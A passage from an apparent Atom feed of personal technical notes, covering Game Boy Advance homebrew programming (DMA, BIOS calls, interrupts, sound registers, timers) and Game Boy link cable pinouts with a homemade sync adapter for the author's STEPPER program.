init_sprite_pal(size_t starting_index, Color col) {
    static Color colors[16] = {
        0x1FFF, 0x1FFF, 0x1FFF, 0x1FFF,
        0x1FFF, 0x1FFF, 0x1FFF, 0x1FFF,
        0x1FFF, 0x1FFF, 0x1FFF, 0x1FFF,
        0x1FFF, 0x1FFF, 0x1FFF, 0x1FFF,
    };

    dma_copy(&amp;PAL_BUFFER_SPRITES[starting_index], colors, 16 * sizeof(Color), 3);
}</code></pre>
                    <p>Very important to note that we <em>MUST</em> wait
                    2 cycles after enabling a DMA transfer, otherwise
                    there will be errors. This should normally not be an
                    issue, but if you are performing two dma calls in
                    quick succession you may stumble over it. Make sure
                    you stall the CPU if you can.</p>
                    <pre><code>// Copy N number of bytes using a DMA channel.
inline void
dma_copy(void *dst, const void *src, u32 size, int channel) {
    dma_transfer_copy(dst, src, size / 4, channel, DMA_CHUNK_32 | DMA_ENABLE);
    // Stall for 2 cycles in case we call this function more than once in a row.
    asm(&quot;nop&quot;); asm(&quot;nop&quot;);
}</code></pre>
                    <h2 id="bios-calls">BIOS Calls</h2>
                    <p>Bios calls work by means of software interrups.
                    The GBA BIOS has 42 avaiable interrupts for a
                    variety of purposes. To call software interrupts, we
                    need to make use of the <code>swi N</code> assembly
                    instruction. This is a list of all available
                    interrupts:</p>
                    <pre><code>id    Name
0x00  SoftReset
0x01  RegisterRamReset
0x02  Halt
0x03  Stop
0x04  IntrWait
0x05  VBlankIntrWait
0x06  Div
0x07  DivArm
0x08  Sqrt
0x09  ArcTan
0x0A  ArcTan2
0x0B  CPUSet
0x0C  CPUFastSet
0x0D  BiosChecksum
0x0E  BgAffineSet
0x0F  ObjAffineSet
0x10  BitUnPack
0x11  LZ77UnCompWRAM
0x12  LZ77UnCompVRAM
0x13  HuffUnComp
0x14  RLUnCompWRAM
0x15  RLUnCompVRAM
0x16  Diff8bitUnFilterWRAM
0x17  Diff8bitUnFilterVRAM
0x18  Diff16bitUnFilter
0x19  SoundBiasChange
0x1A  SoundDriverInit
0x1B  SoundDriverMode
0x1C  SoundDriverMain
0x1D  SoundDriverVSync
0x1E  SoundChannelClear
0x1F  MIDIKey2Freq
0x20  MusicPlayerOpen
0x21  MusicPlayerStart
0x22  MusicPlayerStop
0x23  MusicPlayerContinue
0x24  MusicPlayerFadeOut
0x25  MultiBoot
0x26  HardReset
0x27  CustomHalt
0x28  SoundDriverVSyncOff
0x29  SoundDriverVSyncOn
0x2A  GetJumpList</code></pre>
                    <p>Detailed information about what these functions
                    do can be found on the <a
                    href="https://problemkaputt.de/gbatek-bios-functions.htm">gbatek
                    reference</a>.</p>
                    <p>To use these BIOS functions we need the following
                    directives written in assembly:</p>
                    <ol start="0" type="1">
                    <li>Where to put the code (e.g. <code>.text</code>)
                    and what type of code (<code>.code 16</code> for
                    THUMB instructions).</li>
                    <li>Word alignment. We can either align to words
                    (<code>.align 2</code>) or half-words
                    (<code>.balign 4</code>). These only work for the
                    function, and must be set for each one of them.</li>
                    <li>Scope. We normally will want these things to be
                    on the global scope. For example,
                    <code>.global foobar</code> will create a function
                    that we can call from C with
                    <code>void foobar(args)</code>.</li>
                    <li>Thumb indicator. Despite having
                    <code>.code 16</code> we also must specify
                    <code>.thumb_func</code>.</li>
                    <li>Label. Indicates where the function starts.</li>
                    <li>BIOS call with the <code>swi</code> instruction
                    (For example <code>swi 0x06</code> for the division
                    function call).</li>
                    <li>Return to the caller with the <code>bx lr</code>
                    function call.</li>
                    </ol>
                    <p>Here is the full example from the TONC tutorial
                    for a division BIOS call:</p>
                    <pre><code>@ In tonc_bios.s

@ at top of your file
    .text           @ aka .section .text
    .code 16        @ aka .thumb

@ for each swi (like division, for example)
    .align 2        @ aka .balign 4
    .global Div
    .thumb_func
Div:
    swi     0x06
    bx      lr</code></pre>
                    <p>It seems that using inline assembly with
                    <code>asm volatile("swi 0x06")</code> doesn’t work
                    anymore. For this reason, the assembly code should
                    be fully compiled separately and linked
                    afterwards.</p>
                    <h2 id="interrupts">Interrupts</h2>
                    <p>There are three interrupt registers, the master
                    interrupt control register <code>IRQ_CTRL</code>
                    (0x04000208), the interrupt enable register
                    <code>IRQ_ENABLE</code> (0x04000200) and the
                    <code>IRQ_ACK</code> (0x04000202) used for checking
                    if an interrupt has occurred and acknowledge that is
                    being handled.</p>
                    <p>The <code>IRQ_CTRL</code> control register must
                    be set to 1 to enable interrupts, otherwise they
                    will be ignored. In addition to enabling specific
                    interrupts with <code>IRQ_ENABLE</code> we will
                    likely need to enable other bits in the appropriate
                    registers. For example the <code>IRQ_VBLANK</code>
                    interrupt also needs bit 0x3 of
                    <code>DISP_STATUS</code> to be also set. Here is the
                    table for both <code>IRQ_ENABLE</code> and
                    <code>IRQ_ACK</code> with corresponding
                    requirements, adapted from TONC:</p>
                    <pre><code>bits  name  description
0     Vbl   VBlank interrupt. Also requires DISP_STATUS{3}
1     Hbl   HBlank interrupt. Also requires DISP_STATUS{4} Occurs after the HDraw, so that things done here take effect in the next line.
2     Vct   VCount interrupt. Also requires DISP_STATUS{5}. The high byte of DISP_STATUS gives the VCount at which to raise the interrupt. Occurs at the beginning of a scanline.
3-6   Tm    Timer interrupt, 1 bit per timer. Also requires TIMER_CTRL_x{6}. The interrupt will be raised when the timer overflows.
7     Com   Serial communication interrupt. Apparently, also requires REG_SCCNT{E}. To be raised when the transfer is complete. Or so I&#39;m told, I really don&#39;t know squat about serial communication.
8-B   Dma   DMA interrupt, 1 bit per channel. Also requires DMA_CTRL(N){1E}. Interrupt will be raised when the full transfer is complete.
C     K     Keypad interrupt. Also requires KEY_CTRL{E}. Raised when any or all or the keys specified in KEY_CTRL are down.
D     C     Cartridge interrupt. Raised when the cart is removed from the GBA.</code></pre>
                    <p>Source:
                    https://www.coranac.com/tonc/text/interrupts.htm</p>
                    <p>To acknowledge that we are handling an interrupt,
                    we need to write a bit on said interrupt in
                    <code>IRQ_ACK</code>, even if the bit is already
                    set. This register is used for checking if an
                    interrupt has been raised and clearing it in the
                    aforementioned way. Note that we should only set the
                    bit we are interested in, so we must do:
                    <code>IRQ_ACK = IRQ_x</code> not
                    <code>IRQ_ACK |= IRQ_x</code>, since the latter will
                    set and clear all of the bits for the interrupts
                    that are active. Note that if we use BIOS routines
                    that use interrupts, we also need to acknowledge
                    those in the <code>IRQ_ACK_BIOS</code> (0x03007FF8),
                    which follows the same bit structure as
                    <code>IRQ_ACK</code>.</p>
                    <p>Unfortunately, the interrupt process is not very
                    friendly from the C point of view. In principle when
                    an interrupt is triggered, the BIOS will jump to
                    0x03007FFC, so we could theoretically have a
                    function pointer to that location to handle the
                    interrupts from there. However, we need to run that
                    function in ARM mode instead of THUMB. We also have
                    to switch the CPU to interrupt mode from system and
                    back as well as saving the necessary registers,
                    which can only be done in assembly. From our point
                    of view we should:</p>
                    <ol type="1">
                    <li>Disable IRQs to avoid nesting and unpleasant
                    complexity.</li>
                    <li>Switch from IRQ to SYSTEM execution mode, for
                    which we need to store the current stack pointer,
                    r0-r3, ip and lr registers first.</li>
                    <li>Run the interrupt service routine (ISR) for the
                    interrupt.</li>
                    <li>Return from SYSTEM to IRQ execution modes.</li>
                    <li>Restore the saved registers.</li>
                    <li>Acknowledge that the interruption has been dealt
                    with.</li>
                    <li>Re-enable interrupts.</li>
                    </ol>
                    <p>This is quite complicated to address, but with a
                    bit of elbow grease I managed to create my own
                    version of an interrupt handler. It uses this table
                    to store function pointers to the different
                    interrupt types.</p>
                    <pre><code>IrsFunc irs_table[] = {
    [IRQ_VBLANK ] = NULL,
    [IRQ_HBLANK ] = NULL,
    [IRQ_VCOUNT ] = NULL,
    [IRQ_TIMER_0] = NULL,
    [IRQ_TIMER_1] = NULL,
    [IRQ_TIMER_2] = NULL,
    [IRQ_TIMER_3] = NULL,
    [IRQ_SERIAL ] = NULL,
    [IRQ_DMA_0  ] = NULL,
    [IRQ_DMA_1  ] = NULL,
    [IRQ_DMA_2  ] = NULL,
    [IRQ_DMA_3  ] = NULL,
    [IRQ_KEYPAD ] = NULL,
    [IRQ_GAMEPAK] = NULL,
};</code></pre>
                    <p>Interrupts are enabled with the
                    <code>irq_init()</code> function. The function
                    <code>irs_set(IrqIndex ids, IrsFunc func)</code> can
                    be used to enable all required bits in the different
                    registers for each interrupt. If the function
                    pointer is set to NULL, the interrupt will be
                    disabled instead. To be able to use certain
                    interrupts that don’t require explicit handling
                    (Such as the BIOS VSync) a stub can be passed
                    instead:</p>
                    <pre><code>irq_init();
irs_set(IRQ_VBLANK, irs_stub);
irs_set(IRQ_HBLANK, irs_hblank_func);</code></pre>
                    <p>A custom <code>irs_main</code> function was
                    written in ARM assembly to handle all different
                    interrupts and acknowledgements.</p>
                    <h2 id="sound">Sound</h2>
                    <p>Sound on the GBA can be quite a hairy process,
                    and there are a ton of registers to address. Here is
                    a modified table with the nomenclature of different
                    registers to which I added my preferred naming
                    scheme, since I don’t mind a bit more verbosity in
                    exchange of readability:</p>
                    <pre><code>offset  function                         old          new           tonc           mine
60h     channel 1 (sqr) sweep            REG_SG10     SOUND1CNT_L   REG_SND1SWEEP  SOUND_SQUARE1_SWEEP
62h     channel 1 (sqr) len, duty, env   REG_SG10     SOUND1CNT_H   REG_SND1CNT    SOUND_SQUARE1_CTRL
64h     channel 1 (sqr) freq, on         REG_SG11     SOUND1CNT_X   REG_SND1FREQ   SOUND_SQUARE1_FREQ
68h     channel 2 (sqr) len, duty, env   REG_SG20     SOUND2CNT_L   REG_SND2CNT    SOUND_SQUARE2_CTRL
6Ch     channel 2 (sqr) freq, on         REG_SG21     SOUND2CNT_H   REG_SND1FREQ   SOUND_SQUARE2_FREQ
70h     channel 3 (wave) mode            REG_SG30     SOUND3CNT_L   REG_SND3SEL    SOUND_WAVE_MODE
72h     channel 3 (wave) len, vol        REG_SG30     SOUND3CNT_H   REG_SND3CNT    SOUND_WAVE_CTRL
74h     channel 3 (wave) freq, on        REG_SG31     SOUND3CNT_X   REG_SND3FREQ   SOUND_WAVE_FREQ
78h     channel 4 (noise) len, vol, env  REG_SG40     SOUND4CNT_L   REG_SND4CNT    SOUND_NOISE_CTRL
7Ch     channel 4 (noise) freq, on       REG_SG41     SOUND4CNT_H   REG_SND4FREQ   SOUND_NOISE_FREQ
80h     DMG master control               REG_SGCNT0   SOUNDCNT_L    REG_SNDDMGCNT  SOUND_DMG_MASTER
82h     DSound master control            REG_SGCNT0   SOUNDCNT_H    REG_SNDDSCNT   SOUND_DSOUND_MASTER
84h     sound status                     REG_SGCNT1   SOUNDCNT_X    REG_SNDSTAT    SOUND_STATUS
88h     bias control                     REG_SGBIAS   SOUNDBIAS     REG_SNDBIAS    SOUND_BIAS</code></pre>
                    <p>Source:
                    https://www.coranac.com/tonc/text/sndsqr.htm</p>
                    <p>To get sound out we have to configure the main
                    sound control registers
                    <code>SOUND_DMG_MASTER</code> (0x04000080),
                    <code>SOUND_DSOUND_MASTER</code> (0x04000082) and
                    <code>SOUND_STATUS</code> (0x04000084).</p>
                    <p>The <code>SOUND_DMG_MASTER</code> controls DMG
                    left and right volumes as well as the channels
                    enabled.</p>
                    <pre><code>bits  name   description
0-2   LV     Left volume
4-6   RV     Right volume
8-B   L1-L4  Channels 1-4 on left
C-F   R1-R4  Channels 1-4 on right</code></pre>
                    <p>The <code>SOUND_DSOUND_MASTER</code> controls
                    direct sound channels, and how to mix it with the
                    DMG ones.</p>
                    <pre><code>bits  name            description
0-1   DMGV            DMG Volume ratio.
                          00: 25%
                          01: 50%
                          10: 100%
                          11: forbidden
2     AV              DSound A volume ratio. 50% if clear; 100% of set
3     BV              DSound B volume ratio. 50% if clear; 100% of set
8-9   AR, AL          DSound A enable Enable DS A on right and left speakers
A     AT              Dsound A timer. Use timer 0 (if clear) or 1 (if set) for DS A
B     AF              FIFO reset for Dsound A. When using DMA for Direct sound, this will cause DMA to reset the FIFO buffer after it&#39;s used.
C-F   BR, BL, BT, BF  As bits 8-B, but for DSound B</code></pre>
                    <p>Finally, the <code>SOUND_STATUS</code> lower 4
                    bits can be used to read which DMG channel is
                    currently playing (read) and we need to set bit 7 if
                    we want to output any kind of sound. Sound must be
                    enabled before we can interact with any of the other
                    registers.</p>
                    <pre><code>bits  name   description
0-3   1A-4A  Active channels. Indicates which DMA channels are currently playing. They do not enable the channels; that&#39;s what REG_SNDDMGCNT is for.
7     MSE    Master Sound Enable. Must be set if any sound is to be heard at all. Set this before you do anything else: the other registers can&#39;t be accessed otherwise, see GBATek for details.</code></pre>
                    <h3 id="square-wave-channels-1-2">Square wave
                    (Channels 1-2)</h3>
                    <p>Both DMG square channels are controlled in the
                    same way, but the first channel has access to a
                    frequency sweep. The <code>SOUND_SQUAREx_CTRL</code>
                    registers adjusts the length, envelope
                    (Attack-Sustain-Decay or ASD) and duty cycle of the
                    signal. Note that the frequency set in
                    <code>SOUND_SQUAREx_FREQ</code> is not set in Hertz
                    (Hz), but instead, it is the “rate” of the signal.
                    The rate goes from 0 to 2047 and can be calculated
                    with the following formula:
                    <code>rate = 2048 - 2^17 / freq</code>. This means
                    that we can achieve frequencies between 64 Hz and
                    131 kHz. Here is the table describing the control
                    registers for square DMG channels:</p>
                    <pre><code>bits  name  description
0-5   L     Sound Length. This is a write-only field and only works if the channel is timed (REG_SNDxFREQ{E}). The length itself is actually (64−L)/256 seconds for a [3.9, 250] ms range.
6-7   D     Wave duty cycle. Ratio between on and of times of the square wave. Looking back at eq 18.2, this comes down to D=h/T. The available cycles are 12.5%, 25%, 50%, and 75% (one eighth, quarter, half and three quarters).
8-A   EST   Envelope step-time. Time between envelope changes: Δt = EST/64 s.
B     ED    Envelope direction. Indicates if the envelope decreases (default) or increases with each step.
C-F   EIV   Envelope initial value. Can be considered a volume setting of sorts: 0 is silent and 15 is full volume. Combined with the direction, you can have fade-in and fade-outs; to have a sustaining sound, set initial volume to 15 and an increasing direction. To vary the real volume, remember REG_SNDDMGCNT.</code></pre>
                    <p>The frequency is set as follows:</p>
                    <pre><code>bits  name  description
0-A   R     Sound rate. Well, initial rate. That&#39;s rate, not frequency. Nor period. The relation between rate and frequency is f = 217/(2048-R). Write-only field.
E     T     Timed flag. If set, the sound plays for as long as the length field (REG_SNDxCNT{0-5}) indicates. If clear, the sound plays forever. Note that even if a decaying envelope has reached 0, the sound itself would still be considered on, even if it&#39;s silent.
F     Re    Sound reset. Resets the sound to the initial volume (and sweep) settings. Remember that the rate field is in this register as well and due to its write-only nature a simple ‘|= SFREQ_RESET’ will not suffice (even though it might on emulators).</code></pre>
                    <p>The sweep register:</p>
                    <pre><code>bits  name  description
0-2   N     Sweep number. Not the number of sweeps; see the discussion below.
3     M     Sweep mode. The sweep can take the rate either up (default) or down (if set).
4-6   T     Sweep step-time. The time between sweeps is measured in 128 Hz (not kHz!): Δt = T/128 ms ≈ 7.8T ms; if T=0, the sweep is disabled.</code></pre>
                    <h3 id="wave-channel-3">Wave (Channel 3)</h3>
                    <p>Sound channel 3 can play samples from a 64 sample
                    pattern or two different 32 sample patterns,
                    depending on the configuration of
                    <code>SOUND_WAVE_MODE</code>:</p>
                    <pre><code>bits  name  description
5     BM    Bank mode (0 = 2x32, 1 = 1x64)
6     BS    Bank select. Two banks are available if BM is set to 0. This also
            control the writing mode of each bank. BS is set to 0, bank 0 will
            play, and we can then write to the bank 1 wave RAM and viceversa.
7     E     Enable the output for wave mode.</code></pre>
                    <p>The other wave control register is the
                    <code>SOUND_WAVE_CTRL</code> register, which can be
                    used to control the sound length and output
                    volume.</p>
                    <pre><code>bits  name  description
0-7   SL    Sound length according to formula REG = len_in_seconds * 256 for
            a 1 second maximum and 3.9 ms minimum.
D-F   V     Output level (0x0 = 0%, 0x1 = 100%, 0x4 = 75%, 0x2 = 50%, 0x3 = 25%).</code></pre>
                    <h3 id="directsound">DirectSound</h3>
                    <p>DirectSound give us access to the 2 8bit DACs on
                    the GBA. It plays 8bit signed PCM samples from a
                    FIFO queue starting at 0x40000A0. It requires the
                    use of timers 0 and/or 1 to control the sampling
                    frequency and can work in DMA or interrupt mode. DMA
                    is more efficient but may cause some issues in
                    multiplayer games. In DMA mode, the sample queues
                    will be filled by the DMA controller automatically.
                    In interrupt mode, an interrupt will be used to
                    manually load samples into the queue. Both
                    DirectSound channels can use the same timer, which
                    is normally desired for audio mixing. We should
                    always reset the FIFO with the
                    <code>SOUND_DSOUND_MASTER</code> register
                    (0x04000082) before starting a new sample
                    playback.</p>
                    <p>To play samples in DMA mode:</p>
                    <ol type="1">
                    <li>Set DirectSound output/volume</li>
                    <li>Set one timer to
                    <code>0xFFFF - round(cpu_frequency/sample_frequency)</code>.
                    For a 16KHz sample <code>cpu_frequency = 2^24</code>
                    and <code>sample_frequency = 16000</code>.</li>
                    <li>Set another timer to count played samples and
                    stop the sound when overflow. For example, if timer
                    0 is used for playing the samples, timer 1 can be
                    set to cascade mode and enable IRQ on timer 1 when
                    count is <code>0xFFFF- sample_count</code>.</li>
                    <li>Point the DMA channel source to the sample
                    memory address and the destination to the desired
                    FIFO queue.</li>
                    <li>Set DMA start to repeat mode (11) so that the
                    FIFO is refilled when empty.</li>
                    <li>Set DMA repeat and 32 bit mode and set increment
                    mode for destination and source.</li>
                    <li>Enable timer.</li>
                    </ol>
                    <p>Source: http://belogic.com/gba/</p>
                    <h2 id="timers">Timers</h2>
                    <p>In addition to using the VBlank as a timer, the
                    GBA have access to 4 clock timers. These timers are
                    based on the CPU frequency (16.78 MHz), in which one
                    clock cycle takes 59.6 ns. We can configure the
                    timers in 4 different intervals, using 1, 64, 256 or
                    1024 cycles. Mixing and matching these timers we can
                    create a wide variety of frequencies. Two registers
                    are used for each of the 4 timers,
                    <code>TIMER_DATA_x</code> starting at memory
                    <code>0x04000100</code> used for accessing the timer
                    output, and <code>TIMER_CTRL_x</code>, starting at
                    <code>0x04000102</code>, used for configuring the
                    timers. Each of these stores a u16 and to access the
                    timer number <code>x</code> we need to add
                    <code>0x4 * x</code> to those base addresses:</p>
                    <pre><code>#define TIMER_DATA_0  0x04000100 + 0x04 * 0
#define TIMER_DATA_1  0x04000100 + 0x04 * 1
#define TIMER_DATA_2  0x04000100 + 0x04 * 2
#define TIMER_DATA_3  0x04000100 + 0x04 * 3
#define TIMER_CTRL_0  0x04000102 + 0x04 * 0
#define TIMER_CTRL_1  0x04000102 + 0x04 * 1
#define TIMER_CTRL_2  0x04000102 + 0x04 * 2
#define TIMER_CTRL_3  0x04000102 + 0x04 * 3</code></pre>
                    <p><code>TIMER_CTRL_x</code> uses only the lower 7
                    bits, despite being stored as <code>u16</code>. Here
                    is the reference table:</p>
                    <pre><code>bits  name  description
0-1   Fr    Timer frequency. 0-3 for 1, 64, 256, or 1024 cycles, respectively. y in the define is the number of cycles.
2     CM    Cascade mode. When the counter of the preceding (x−1) timer overflows (REG_TM(x-1)D= 0xffff), this one will be incremented too. A timer that has this bit set does not count on its own, though you still have to enable it. Obviously, this won&#39;t work for timer 0. If you plan on using it make sure you understand exactly what I just said; this place is a death-trap for the unwary.
6     I     Raise an interrupt on overflow.
7     En    Enable the timer.</code></pre>
                    <p>Source:
                    https://www.coranac.com/tonc/text/timers.htm</p>
                    <p>When reading the <code>u16</code> value from
                    <code>TIMER_DATA_x</code> we obtain the current
                    value for the counter, but if we write to that
                    address, the timer will not be reset to that value,
                    rather it will set the initial value that the timer
                    will contain when being enabled or overflowing.
                    Since everytime that a timer is enabled it will
                    reset to the value set in <code>TIMER_DATA_x</code>,
                    if we want to pause and then resume all the timers,
                    we can enable cascade mode instead and then disable
                    it when resuming.</p>
                    <p>Using timers we can create a simple profiling
                    function that counts the number of cycles between
                    the <code>profile_start()</code> and
                    <code>profile_end()</code> function calls.</p>
                    <pre><code>// We use timers 2 and 3 to count the number of cycles since the profile_start
// functions is called. Don&#39;t use if the code we are trying to profile make use
// of these timers.
static inline
void profile_start() {
    TIMER_DATA_2 = 0;
    TIMER_DATA_3 = 0;
    TIMER_CTRL_2 = 0;
    TIMER_CTRL_3 = 0;
    TIMER_CTRL_3 = TIMER_CTRL_ENABLE | TIMER_CTRL_CASCADE;
    TIMER_CTRL_2 = TIMER_CTRL_ENABLE;
}

static inline
u32 profile_stop() {
   TIMER_CTRL_2 = 0;
   return (TIMER_DATA_3 &lt;&lt; 16) | TIMER_DATA_2;
}</code></pre>
                    <h2 id="resources">Resources</h2>
                    <ul>
                    <li><a href="https://gbadev.net/">gbadev</a></li>
                    <li><a
                    href="https://problemkaputt.de/gbatek.htm">GBATEK</a></li>
                    <li><a
                    href="https://devkitpro.org/">devkitPro</a></li>
                    <li><a
                    href="https://www.coranac.com/tonc/text/intro.htm">Introduction
                    to Tonc</a></li>
                    <li><a
                    href="https://www.cs.rit.edu/~tjh8300/CowBite/CowBiteSpec.htm">CowBite
                    Virtual Hardware Specifications (GBA)</a></li>
                    <li><a
                    href="http://members.iinet.net.au/~freeaxs/gbacomp/">Headspin’s
                    guide to compression, FS, screen effects for the
                    GBA</a></li>
                    <li><a
                    href="http://www.belogic.com/gba/index.php">The
                    audio advance - GBA sound resources</a></li>
                    <li><a
                    href="https://deku.gbadev.org/program/sound1.html">Sound
                    mixing, sound on the GBA by Deku’s tree</a></li>
                    <li><a
                    href="https://www.gamedev.net/articles/programming/general-and-gameplay-programming/audio-programming-on-the-gameboy-advance-part-1-r1823/">Audio
                    Programming on the GameBoy Advance Part 1</a></li>
                    <li><a
                    href="https://homepage.divms.uiowa.edu/~jones/bcd/decimal.html">Binary
                    to decimal conversion with limited
                    precision</a></li>
                    <li><a
                    href="https://www.coranac.com/tonc/text/fixed.htm">TONC:
                    Fixed point math</a></li>
                    <li><a
                    href="https://www.coranac.com/documents/bittrick/">Bit
                    tricks for fast C programming on the GBA</a></li>
                    <li><a
                    href="https://www.copetti.org/writings/consoles/game-boy-advance/">Game
                    Boy Advance Architecture: A practical
                    analysis</a></li>
                    <li><a
                    href="https://forum.gbadev.org/viewtopic.php?t=418">gbadev.org
                    FAQ</a></li>
                    <li><a
                    href="https://github.com/trash80/Arduinoboy">Arduinoboy:
                    Serial MIDI communication with the GB</a></li>
                    <li><a
                    href="https://github.com/stuij/gba-serial-adventures">GBA
                    link cable to UART USB</a></li>
                    <li><a href="https://youtu.be/h1KKkCfzOws">Analyzing
                    the different versions of the link cable</a></li>
                    <li><a
                    href="http://little-scale.blogspot.com/2008/07/how-to-build-midi-clock-to-game-boy.html">How
                    to build a MIDI clock to GB sync thing for around
                    AU$15</a></li>
                    <li><a
                    href="https://www.insidegadgets.com/2018/12/09/making-the-gameboy-link-cable-wireless-packet-based/">Making
                    the Gameboy Link Cable Wireless</a></li>
                    <li><a
                    href="https://www.gamedeveloper.com/programming/gameboy-advance-resource-management">GBA
                    Resource Management</a></li>
                    <li><a
                    href="http://avelinoherrera.com/blog/index.php?entry=entry220423-091953">Programación
                    de la Game Boy Advance (No devkitPro)</a></li>
                    <li><a
                    href="https://github.com/stuij/apex-audio-system">AAS:
                    An efficient audio library for the GBA</a></li>
                    </ul>
                    <h3 id="hardware-mods">Hardware mods</h3>
                    <ul>
                    <li><a href="https://youtu.be/MOywVfRrYTg">Giving
                    the GameBoy Advance SP a headphone jack 17 years
                    later</a></li>
                    <li><a href="https://youtu.be/L5i0NNrpfFw">Building
                    a Headphone Jack into a Game Boy Advance SP</a></li>
                    <li><a
                    href="https://hackaday.io/project/173427-gba-sp-headphone-jack-mod">Hackaday:
                    GBA SP headphone jack mod</a></li>
                    <li><a
                    href="https://gameboy.github.io/wiki/backlightmods#ags">Makho’s
                    Backlight Mod Notes</a></li>
                    </ul>
                    <h3
                    id="bootlegs-cartridges-and-schematics">Bootlegs,
                    cartridges and schematics</h3>
                    <ul>
                    <li><a
                    href="https://gbadev.net/gbadoc/bootleg-carts/introduction.html">Bootleg
                    carts</a></li>
                    <li><a
                    href="https://dragaosemchama.com/wp-content/uploads/2015/02/GBA-service-Manual.pdf">GBA
                    service manual</a></li>
                    <li><a
                    href="https://github.com/RobinTheHood/GameboyAdvanceRomDumper">GBA
                    Rom Dumper</a></li>
                    <li><a
                    href="http://web.archive.org/web/20180426222911/http://reinerziegler.de/GBA/gba.htm">Reinerziegler
                    GBA carts</a></li>
                    <li><a
                    href="http://web.archive.org/web/20180511181705/https://reinerziegler.de/GBA/GBA_schematics.gif">GBA
                    cart schematic</a></li>
                    <li><a
                    href="https://robinwieschendorf.de/posts/2016/04/gameboy-advance-rom-dumper-mit-arduino-uno/">GBA
                    Rom Dumper (Arduino Uno)</a></li>
                    <li><a
                    href="https://douevenknow.us/post/68126856498/arduino-based-gba-rom-dumper-part-1">Arduino
                    Based GBA ROM Dumper</a></li>
                    <li><a
                    href="http://files.darkfader.net/gba/files/cartridge.txt">GBA
                    cart pinout</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Game Boy Link Cables</title>
            <link href="https://badd10de.dev//notes/gb-link-cables.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/gb-link-cables.html</id>
            <updated>2026-06-16T09:49:18Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="general-info">General info</h2>
                    <p>Game Boy link cables can be used to send and
                    receive data from a GB or GBA. Unfortunately
                    depending on which cables you buy, manufacturer and
                    model, there are many differences in the way they
                    are wired. First of all, the basic design follows
                    the following pinout (looking at the cable, if you
                    are looking at the console port make sure to mirror
                    it):</p>
                    <pre><code>---------
| 6 4 2 |
| 5 3 1 |
\-------/</code></pre>
                    <ul>
                    <li>1: Vcc</li>
                    <li>2: Serial Out (SO)</li>
                    <li>3: Serial In (SI)</li>
                    <li>4: Serial Double (SD)</li>
                    <li>5: Serial Clock (SC)</li>
                    <li>6: Ground</li>
                    </ul>
                    <p>For reference:</p>
                    <pre><code>---------------
| GND  SD  SO |
|  SC  SI Vcc |
\-------------/</code></pre>
                    <p>Note that when operating on a classic GB or GBC
                    the voltage of these signals is of 5V, as opposed to
                    the 3.3V while running a GBA game.</p>
                    <p>In many cases SO and SI should be crosswired
                    between the two cable connectors. In case of the
                    GBA, it is a little bit more complicated. The best
                    way of knowing which cable connects to which pin is
                    to cut them open and use a multimeter to do
                    continuity check for each pin. There is an example
                    of how this looks like with a GBC compatible cable.
                    Note that we have 7 leads, one of them being
                    connected to the outer ring outside of the
                    connector.</p>
                    <p><a
                    href="/notes/gb-link-cables/link-cable-gbc.jpeg"><img
                    src="/notes/gb-link-cables/link-cable-gbc.jpeg"
                    alt="Picture of a spliced GBC link cable showing the ports and exposed wires" /></a></p>
                    <p>On the other hand I got a cable for the GBA in
                    which each end has a different number of pins:</p>
                    <pre><code>   Big        Small
/-------\   /-------\
| 6 4 x |   | x 4 2 |
| 5 3 x |   | 5 3 x |
+--. .--+   +--. .--+
    -           -</code></pre>
                    <p>As you can see the big end of the connector lacks
                    the SO and VCC connections, and the small end has no
                    ground or VCC.</p>
                    <p><a
                    href="/notes/gb-link-cables/link-cable-gba.jpeg"><img
                    src="/notes/gb-link-cables/link-cable-gba.jpeg"
                    alt="Picture of a spliced GBA link cable showing the ports and exposed wires" /></a></p>
                    <h2 id="building-a-cv-adapter-to-stepper">Building a
                    CV adapter to STEPPER</h2>
                    <p>As of v1.4, STEPPER can send and receive CV
                    triggers to play in sync with external gear. STEPPER
                    should be compatible with either type of link cable
                    and both sides of the GBA cable can be used. STEPPER
                    uses the <a
                    href="http://problemkaputt.de/gbatek-sio-general-purpose-mode.htm">general
                    purpose SIO mode</a> to send and receive data, which
                    means that each of the 4 data pins can be used send
                    or receive a 3.3V signal. In Sync In mode, STEPPER
                    will listen to any of the 4 data pins for a signal,
                    raising an interrupt if detected. In Sync Out mode,
                    both SO and SC will be set to high during the clock
                    trigger, keeping the rest of the pins at 0
                    level.</p>
                    <blockquote>
                    <p><em>IMPORTANT</em>: Sending too much
                    voltage/current to the Sync In GBA may cause
                    problems or fry your console. Try this at your own
                    risk, I’m not responsible with any damages they may
                    occur in this process.</p>
                    </blockquote>
                    <p>In theory this means that a link cable could be
                    connected between 2 GBA consoles directly, but I
                    don’t own two consoles so couldn’t really test it.
                    Instead I made a couple of different adapters to
                    test things out with my hardware instruments.</p>
                    <p><a
                    href="/notes/gb-link-cables/link-cable-adapter.jpeg"><img
                    src="/notes/gb-link-cables/link-cable-adapter.jpeg"
                    alt="Picture of a homebrew link cable adapter made with two input" /></a></p>
                    <p>I’m using two different extremes of the
                    aforementioned GBA link cable for testing sync in
                    and out independently, but one cable can be used to
                    connect both adapter ends. Alternatively a switch
                    could be wired to switch between the connected pins,
                    the world is your oyster!</p>
                    <p>The input port is made by soldering the tip of a
                    jack adapter to the SI pin (3) and the ground pin
                    (6) to the ground of the jack adapter. The output
                    port on the other hand uses SD (4) as the ground
                    connection and SO (2) as the tip of the jack. This
                    works because STEPPER always keeps SD at a low level
                    regardless of sync mode so it can act as ground when
                    needed.</p>
                    <h2 id="link-cable-tester">Link cable tester</h2>
                    <p>I created a little program to test link cable
                    pins and adapters, you can <a
                    href="/notes/gb-link-cables/link-cable-tester.gba">download
                    it here</a>. The code, as usual is freely available
                    <a
                    href="https://git.badd10de.dev/gba-link-cable-tester/">on
                    this repository</a>.</p>
                    <p><a
                    href="/notes/gb-link-cables/link-cable-tester.png"><img
                    src="/notes/gb-link-cables/link-cable-tester.png"
                    alt="Picture of a link cable tester homebrew rom" /></a></p>
                    <p>To use, press the A, B, L and/or R buttons to
                    send a 3.3V signal to the corresponding pins.
                    Pressing Start toggles between input and output
                    testing. In input testing, any logic “high” signal
                    received in any of the data pins will increment the
                    number of received inputs.</p>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Git</title>
            <link href="https://badd10de.dev//notes/git.html"/>
